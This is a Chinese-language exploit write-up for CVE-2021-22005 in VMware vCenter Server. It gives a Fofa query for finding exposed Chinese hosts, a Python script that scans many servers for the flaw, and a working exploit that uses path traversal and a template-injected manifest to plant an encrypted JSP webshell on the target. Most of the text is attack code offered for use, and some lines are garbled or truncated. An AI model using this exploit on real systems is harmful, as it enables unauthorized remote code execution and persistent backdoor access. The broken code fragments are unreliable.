CVE-2021-22005:VMwarevCenterGetShell
⼀:漏洞描述
2021年9⽉21⽇,VMware发布安全公告,公开披露了vCenter Server中的19个安全漏洞,这些漏洞的CVSSv3评分范围为4.3-9.8。
其中,最为严重的漏洞为vCenter Server 中的任意⽂件上传漏洞(CVE-2021-22005),该漏洞存在于vCenter Server的分析服务中,其CVSSv3评分为 9.8。能够⽹络访问vCenter Server 上的 443 端⼝的攻击者可以通过上传恶意⽂件在 vCenter Server 上远程执⾏代码。该漏洞⽆需经过⾝份验证即可远程利⽤,攻击复杂度低,且⽆需⽤户交互。
根据Shodan的搜索结果,数以千计的vCenter Server可通过互联⽹访问并受到攻击 。⽬前已经检测到攻击者正在扫描和攻击存在漏洞的VMware vCenter 服务器。
###影响版本###
VMware vCenter Server 7.0
VMware vCenter Server 6.7
注:CVE-2021-22005会影响所有默认配置的 vCenter Server 6.7 和 7.0 部署,不会影响 vCenter Server 6.5。其它18个漏洞的影响范围请参见VMware官⽅公告。
###Fofa搜索###
app="vmware-VirtualCenter" && country="CN"
⼆:漏洞批量检测
我们可以针对 /analytics/telemetry/ph/api/level 端点执⾏更相关的 cURL 请求来识别你的服务器是否受影响curl -k -v "$VCENTER_HOST/analytics/telemetry/ph/api/level?_c=test"
如果服务器以 200/OK 和响应正⽂中除“OFF”以外的任何内容(例如“FULL”)进⾏响应,则它很容易受到攻击。
如果它以 200/OK 和“OFF”的正⽂内容响应,则它很可能不易受到攻击,并且也未修补且未应⽤任何变通⽅法。
如果它以 400/Bad Request 响应,则对其进⾏修补。此检查利⽤以下事实:修补的实例将根据已知/接受的收集器 ID 列表检查收集器 ID (_c)。
如果它以 404 响应,则它要么不适⽤,要么已应⽤解决⽅法。该解决⽅法会禁⽤受影响的 API 端点。
任何其他状态代码可能暗⽰不适⽤。
import requests
from requests.packages import urllib3
urllib3.disable_warnings()
headers={
'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36'
}
params = (
('_c', 'test'),
)
for i in open('漏洞url所在的.txt','r'):
if 'https' in i:
i = i.strip('\r\n')
url = i + "/analytics/telemetry/ph/api/level"
try:
r = (url=url,headers=headers,params=params,verify=False,timeout=10)
code = r.status_code
if code == 200:
text = r.text
if text:
if "OFF" not in text:
print(f"\033[0;31m{url}\033[0m 可能存在漏洞")
with open('','a',encoding='utf-8') as f:
f.write(i+"\r")
else:
print(f"{i} 不存在漏洞")
except:
pass
else:
pass
三:GetShellEXP
###使⽤⽅法###
###使⽤案例###
import requests
import random
import string
import sys
import time
import requests
import urllib3
import argparse
urllib3.disable_ptions.InsecureRequestWarning)
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
def escape(_str):
_str = _place("&", "&")
_str = _place("<", "<")
_str = _place(">", ">")
_str = _place("\"", """)
return _str
def str_to_escaped_unicode(arg_str):
escaped_str = ''
for s in arg_str:
val = ord(s)
esc_uni = "\\u{:04x}".format(val)
escaped_str += esc_uni
return escaped_str
def createAgent(target, agent_name, log_param):
url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=%s&_i=%s" % (target, agent_name, log_param)
headers = { "Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0",
"X-Deployment-Secret": "abc",
"Content-Type": "application/json",
cve漏洞库"Connection": "close" }
json_data = { "manifestSpec":{},
"objectType": "a2",
"collectionTriggerDataNeeded":  True,
"deploymentDataNeeded":True,
"resultNeeded": True,
"signalCollectionCompleted":True,
"localManifestPath": "a7",
"localPayloadPath": "a8",
"localObfuscationMapPath": "a9" }
requests.post(url, headers=headers, json=json_data, verify=False)
def generate_manifest(webshell_location, webshell):
manifestData = """<manifest recommendedPageSize="500">
<request>
<query name="vir:VCenter">
<constraint>
<targetType>ServiceInstance</targetType>
</constraint>
<propertySpec>
<propertyNames>content.about.instanceUuid</propertyNames>
<propertyNames>content.about.osType</propertyNames>
<propertyNames>content.about.build</propertyNames>
<propertyNames>content.about.version</propertyNames>
</propertySpec>
</query>
</request>
<cdfMapping>
<indepedentResultsMapping>
<resultSetMappings>
<entry>
<key>vir:VCenter</key>
<value>
<value xmlns:xsi="/2001/XMLSchema-instance" xsi:type="resultSetMapping">                        <resourceItemToJsonLdMapping>
<forType>ServiceInstance</forType>
<mappingCode><![CDATA[
#set($appender = $GLOBAL-logger.Appender("LOGFILE"))##
#set($orig_log = $File())##
#set($logger = $GLOBAL-logger.logger.parent)##
$appender.setFile("%s")##
$appender.activateOptions()##
$logger.warn("%s")##
$appender.setFile($orig_log)##
$appender.activateOptions()##]]>
</mappingCode>
</resourceItemToJsonLdMapping>
</value>
</value>
</entry>
</resultSetMappings>
</indepedentResultsMapping>
</cdfMapping>
<requestSchedules>
<schedule interval="1h">
<queries>
<query>vir:VCenter</query>
</queries>
</schedule>
</requestSchedules>
</manifest>""" % (webshell_location, webshell)
return manifestData
def arg():
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help = "Target", required = True)
args = parser.parse_args()
target = args.target
print("[*] Target: %s" % target)
return target
def exec():
target = arg()
# Variables
webshell_param = id_generator(6)
log_param = id_generator(6)
agent_name = id_generator(6)
shell_name = "Server.jsp"
webshell = """<%@page import="java.util.*,pto.*,pto.spec.*"%><%!class U extends
ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (Method().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher Instance("AES");c.init(2,new
Bytes(),"AES"));new Class().getClassLoader()).g(c.doFinal(new
sun.misc.BASE64Decoder().Reader().readLine()))).newInstance().equals(pageContext);}%>"""
webshell_location =  "/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/%s" % shell_name
webshell = str_to_escaped_unicode(webshell)
manifestData = generate_manifest(webshell_location,webshell)
print("[*] Creating Agent")
createAgent(target, agent_name, log_param)
url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=%s&_i=%s" % (target, agent_name, log_param)
headers = {"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0",
"X-Deployment-Secret": "abc",
"Content-Type": "application/json",
"Connection": "close"}
json_data ={"contextData": "a3", "manifestContent": manifestData, "objectId": "a2"}
requests.post(url, headers=headers, json=json_data, verify=False)
#webshell连接地址
url = "%s/idm/..;/%s" % (target, shell_name)
code = (url=url, headers=headers,verify=False).status_code